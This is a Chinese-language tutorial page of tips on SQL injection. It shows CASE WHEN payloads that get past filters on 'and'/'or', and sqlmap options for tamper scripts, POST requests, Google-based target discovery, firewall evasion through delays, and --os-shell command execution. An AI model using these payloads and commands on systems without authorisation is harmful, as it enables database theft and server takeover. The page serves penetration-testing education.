在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
TIP1 当我们注射的时候,判断注入 http://site/script?id=10 http://site/script?id=11-1 # 相当于 id=10 http://site/script?id=(select 10) # 相当于 id=10 http://site/script?id=10 and 1=1 #失败 通过判断可发现and和or被过滤 http://site/script?id=10– # 失败 http://site/script?id=10;– #失败 http://site/script?id=10);– #失败 http://site/script?id=10)subquery;– #失败 你可以用burp的intruder的字典跑,但是仍然失败。 这里可以用到SQL语句的case when …then … else … end语句 CASE WHEN语句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型数据库都受到支持,是标准的SQL语句。 可以这样子理解:CASE… WHEN… THEN …ELSE …END CASE WHEN 语法有两种情况: 第一种是CASE 后面不带表达式的; CASE WHEN expression THEN 操作1 第二种是CASE 后面带表达式的(而此时WHEN 后面的则是该表达式可能的值),通用。 CASE expression http://host/script?id=11-(case when 1=1 then 1 else 0 end) 用1=1跟1=2测试http://host/script?id=10 # 当条件为真的时候 http://host/script?id=11 # 当条件为假的时候 可以很明显的看到返回不同,然后可以判断注入。那么怎么能让sqlmap去识别呢? Sqlmap默认是自己寻找注入点的,但是你加上一个*,可以引导他。 语句 sqlmap.py -u http://host/script?id=11-(case when 1=1星号 then 1) 注入最头痛的就是遇到过滤,sqlmap提供了字符转换的功能 “–tamper=between”当然自己可以改写转换内容,文件在/tamper目录下。 关于post注入 sqlmap可以用-r参数 加载数据包 sqlmap.py -r post.txt TIP2 POST注入 有两种方法来进行post注入,一种是使用 –data -r 查看payload 之前一直是加本地代理,然后用burpsuit来看sqlmap的payload,到现在才发现用 -v -v -v 3 使用google搜索 sqlmap可以测试google搜索结果中的sql注入,很强大的功能吧。使用方法是参数 -g 请求延时 在注入过程中请求太频繁的话可能会被防火墙拦截,这时候 –delay –safe-url 伪静态页面 有些web服务器进行了url rewrite或者网站是伪静态的,无法直接提供测试参数,这样子可以使用 * 执行系统命令 当数据库支持,并且当前用户有权限的时候,可以执行系统命令,使用 –os-cmd –os-shell 测试等级 sqlmap使用 –level useragent TIP3 SQLMAP 项目官方WIKI(详尽) 地址 相关文章链接《Sqlmap Tamper大全(1)》《SqlMap用户手册》 |
2023-10-27
2022-08-15
2022-08-17
2022-09-23
2022-08-13
请发表评论